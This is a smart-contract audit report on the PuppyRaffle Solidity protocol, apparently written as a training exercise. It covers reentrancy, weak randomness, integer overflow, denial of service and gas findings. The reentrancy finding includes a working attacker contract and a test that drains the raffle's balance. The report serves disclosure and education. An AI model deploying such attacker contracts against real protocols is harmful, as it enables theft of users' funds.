Staykov Security

PuppyRaffle Audit Report

Version 1.0

Cyfrin.io

March 12, 2025

Protocol Audit Report

Staykov

March 12, 2025

Prepared by: Staykov Lead Auditors: - Staykov

Table of Contents

  - [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas cost for future emtramts
  - [M-2] Contract wallet raffle winners without a `receive` or a `fallback` function will block the start of a new contest

- LOW
  - [L-1] `PuppyRaffle::getActivePlayerIndex` retunn 0 for non-excisting players and for players at index 0 , causeing player at index 0 to incorrectly think they have no entered the raffle

- Gas
  - [G-1] Unchanged state variables should be declared constant or immutable, depending from the case
  - [G-2] Storage variables in a loop should be cached

- INFORMATIONAL
  - [I-1]: Unspecific Solidity Pragma
  - [I-2]: Using an outdaten version of Solidity is not recommended.
  - [I-3]: Address State Variable Set Without Checks
  - [I-4] `Puppyraffle::selectWinner` should follow CEI
  - [I-5] Use of `magic numbers` is disscurage
  - [I-6] State changes are missing events
  - [I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed , because it is more gas costly

Protocol Summary

This project is to enter a raffle to win a cute dof NFT. 1. Call the `enterRaffle` function with the followin parameters : 1. `address[] participants`: A list of addresses that enter. You can use thus ti ebter yourself multiple times, or you and group of your friends. can use this to enter yourself multiple times, or yourself and a group of your friends. 1. Duplicate addresses are not allowed 1. Users are allowed to get a refund of their ticket & (value" if they call the 'refund function 2. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy 3. The owner of the protocol will set a feeAddress to take a cut of the (value, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The YOUR_NAME_HERE team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

```
.src.
---- PuppyRaffle.sol
```

Roles

-Owner -Player # Executive Summary Spend x hours for auditing this protocol. ## Issues found |Severity|Numbers of issues found| |———|————————-| |High| | 3 |Medium| | 2 |Low| | 1 |Gas| | 2 |Info| | 7 |Total| | 15 ## Findings

Denial of service attack

High

[H-1] Description: reentrancy attack in `PuppyRaffle::refund` allows entrant to drain balance

Description The `PuppyRaffle::refund` function does not follow CEI pattent and as a result enables participants to drain the contract balance

In the `PuppyRaffle::refund` function, we make external call to the `msg.sender` addres and only after making that external call we update the `PuppyRaffle`'s player address

```
1   function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
5
6   @>          payable(msg.sender).sendValue(entranceFee);
7
8   @>          players[playerIndex] = address(0);
9           emit RaffleRefunded(playerAddress);
10      }
```

A player, who has entered the raffle coulhave a `fallback/recieve` function, that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue this cycle till the contract ballance is drained.

Impact: All fees payed by raffle entracnce could be stolen from malicious participant.

Proof of Concept: 1. User enter the raffle 2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund` function 3. Attacker enters the raffle 4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance

Proof of Code

Code

Place the following in PuppyRaffle.t.sol

```
1   function testReentrancyRefund() public {
2
3       address[] memory players = new address[](4);
4       players[0] = playerOne;
```

```
5       players[1] = playerTwo;
6       players[2] = playerThree;
7       players[3] = playerFour;
8       puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
9
10
11      ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
12      address attackUser = makeAddr("attackUser");
13
14
15      vm.deal(attackUser, 1 ether);
16
17      uint256 startingAttackContractBalance = address(attackerContract).
            balance;
18      uint256 startingContractBalance = address(puppyRaffle).balance;
19
20
21      vm.prank(attackUser);
22      attackerContract.attack{value: entranceFee}();
23
24      console.log("Starting Attacker balance: ",
            startingAttackContractBalance);
25      console.log("Starting PuppyRaffle balance: ",
            startingContractBalance);
26      console.log("Attacker balance after attack: ",      address(
            attackerContract).balance);
27      console.log("PuppyRaffle balance after attack: ",   address(
            puppyRaffle).balance);
28  }
```

And this contract as well

```
1   contract ReentrancyAttacker {
2       PuppyRaffle puppyRaffle;
3       uint256 entranceFee;
4       uint256 attackerIndex;
5
6       constructor(PuppyRaffle _puppyRaffle) {
7           puppyRaffle = _puppyRaffle;
8           entranceFee = puppyRaffle.entranceFee();
9       }
10
11      function attack() external payable {
12
13          address[] memory players = new address[](1);
14          players[0] = address(this);
15          puppyRaffle.enterRaffle{value: entranceFee}(players);
16
17
18          attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
```

```
            ;
19
20
21          puppyRaffle.refund(attackerIndex);
22      }
23
24      function _stealMoney() internal {
25
26          if (address(puppyRaffle).balance > entranceFee) {
27              puppyRaffle.refund(attackerIndex);
28          }
29      }
30
31      fallback() external payable {
32          _stealMoney();
33      }
34
35      receive() external payable {
36          _stealMoney();
37      }
38  }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::enterRaffle` function to update the players array first, and then making the external call. Additionaly, we should move the event emission up.

```
1   function refund(uint256 playerIndex) public {
2
3           address playerAddress = players[playerIndex];
4           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
5           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
6
7   +        players[playerIndex] = address(0);
8   +        emit RaffleRefunded(playerAddress);
9
10          payable(msg.sender).sendValue(entranceFee);
11  -       players[playerIndex] = address(0);
12  -       emit RaffleRefunded(playerAddress);
13      }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and predict or predict the rarest puppy

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together create a predictable find number. Predictable number is not a good number . Malitious users can manip-

ulate these value / know the exact value. making ther entire raffle wortles

Impact: Any user can influence the winner of the raffle , wining the money and selection the `rarest` puppy.

Proof of Concept: 1. Validators can know, ahed of time, the `block.timestapm` and `block.difficulty` and use that to predict how and when to participate. 2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner! 3. Users can revert their `secetWinner` transaction if they don't like the winner or the puppy

Using on chain value as randomness seed is well documented attack vector

Recommended Mitigation: Consider using cryptographically provable number generator

[H-3] Integer overflow of `Puppyraffle::totalFees` loses fees

Description: In solidity version prior to `0.8.0` integers were subject to integer overflow.

```
uint64 myVar = type(uint64).max
//max num of myVar

myVar += 1
//myVar = 0
```

Impact: In `Puppyraffle::totalFees` in `totalFees` are accumulated for the fee addres to collect later in `Puppyraffle::totalFees`. However if the `totalFees` variables overlfows the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract

Proof of Concept: 1. We conclude the raffle of 4 players 2. We then have 89 players enter the raffle 3. `totalFees` will be

```
800000000000 + 17888888888

total fees = 15325592629044384 //incorrect , because of overflow of
    uint64
```

4. You will not be albe to withdraw due to this line

```
 require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Recommended Mitigation: Few possible mitigations 1. Use newer version of solidity 2. You coud use `Safemmath` of openZippelin 3. remove balance check

MEDIUM

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas cost for future emtramts

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::enterRaffle` array is , the more check a new player will have to make. This means the gas cost for playeer who entere wright hen the raffle start will be dramaticaly lower than those who enter later. Every additional address in the player's array is an additional check the loop will have to make.

```
@>      for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Impact: The gas cost for raffel entrants will greatly increase as more players enter the raffle. Disscuraging later users from entering, and causing a rush at the start of a raffle to be one of the firs enterants in the queue.

An attacker might make the `PuppyRaffle::enterRaffle` array so big, that no ones else enteres, gurenteeing themselves to win. LIKELIHOOD: MEDIUM

Proof of Concept: If we have 2 sets of 100 players enter , the gas cosrt will be as such the first players - 1st 100 players: ~6503275 gas - 2nd 100 players: ~18995515 gas This is more than 3x more expensive for the second 100 players.

PoC

Place the following thes into `PuppyRaffleTest.t.sol`.

```
function test_denialOfServices() public {
        //Lets enter 100 players into the raffle
        vm.txGasPrice(1);
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);
        uint256 gasEnd = gasleft();

```

```
13          uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
14          console.log("Gas used to enter 100 players: ", gasUsedFirst);
15
16          //now for the 2nd 100 players
17
18
19          address[] memory playersTwo = new address[](playersNum);
20          for (uint256 i = 0; i < playersNum; i++) {
21              playersTwo[i] = address(i + playersNum);
22          }
23          uint256 gasStartSecond = gasleft();
24          puppyRaffle.enterRaffle{value: entranceFee * players.length}(
                playersTwo);
25          uint256 gasEndSecond = gasleft();
26
27          uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
                gasprice;
28          console.log("Gas used to second 100 players: ", gasUsedSecond);
29
30          assert(gasUsedFirst < gasUsedSecond);
31      }
```

Recommended Mitigation: There are e few reccomendations.

1. Consider allwogin duplicates. Users can make new wallet addresses anywas, so a duplicate check doesn;t prevent the same person from entereing multiple times, only the same wallet address.
2. Consider using a mapping to check for dupplicates.

Alternatively , you could use [OpenZeppelin's `EnumerableSet` library].

[M-2] Contract wallet raffle winners without a `receive` or a `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for reseting the lotterf, but if winner is smart contract that rejects paymant , the lottery will not be able to restart Users can easily call the winner function again and non-wallet entrance could enter, but it could cost a lot, due to duplicate check and a lottert reset could get very challenging

Impact: The `PuppyRaffle::selectWinner` could revert many times, making difficult to reset the lotery.

Also true winners wouldn't be payed out and someone else could take their money **Proof of Concept:** 1. 10 Smart contract wallets enter the lottery wothout fallback or recieve function 2. The lottery ends 3. The `selectWinner` func woulnd't work , even tho the lottery is over

Recommended Mitigation: Create a mapping of addres to payout , so winners can pull their funds

LOW

[L-1] `PuppyRaffle::getActivePlayerIndex` retunn 0 for non-excisting players and for players at index 0 , causeing player at index 0 to incorrectly think they have no entered the raffle

Description If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the netspec it will return also 0 if the player is not in the array

```
function getActivePlayerIndex(address player) external view returns (uint256) {
     for (uint256 i = 0; i < players.length; i++) {
         if (players[i] == player) {
             return i;
         }
     }
     return 0;
 }
```

Impact A player at index 0 may incorrectly think they have not etnered the raffle, and attempt to enter the raffle again, wasting gas

Proof of Concept 1. User eneter the raffle and they are the first entrant 2. `PuppyRaffle::getActivePlayerIndex` return 0 3. User thinks the are not entered correctly due to function documentation

Recommended Mitigations The easiest recommendation is to revert if the player is not in the array, instead of returning 0. You, aslo, could reserve the 0-th position for any competition.

Better solutions is to return and `int256` where the function returns -1 if the player is not active

Gas

[G-1] Unchanged state variables should be declared constant or immutable, depending from the case

Reading from storage is much more expensive than reading from constants, immutables, memory variables.

Instances: `PuppyRaffle::RaffleDuration` should be `immutable` `PuppyRaffle::commonImageUri` should be `constant` `PuppyRaffle::rareImageUri`should be `constant` `PuppyRaffle:legendaryUri:`should be `constant`

[G-2] Storage variables in a loop should be cached

Every time you call players.length you read from the storage, as opposed to memmory , which is more gas efficient.

```
+ uint256 playerLength = players.length
+ for (uint256 i = 0; i < playerLength - 1; i++) {
- for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

INFORMATIONAL

[I-1]: Unspecific Solidity Pragma

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2]: Using an outdaten version of Solidity is not recommended.

Please, use a newer version like 0.8.18

Please, see slither documentation for more info.

[I-3]: Address State Variable Set Without Checks

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 64

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 190

```
1          feeAddress = newFeeAddress;
```

[I-4] `Puppyraffle::selectWinner` should follow CEI

[I-5] Use of `magic numbers` is disscurage

It Can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name

[I-6] State changes are missing events

[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed , because it is more gas costly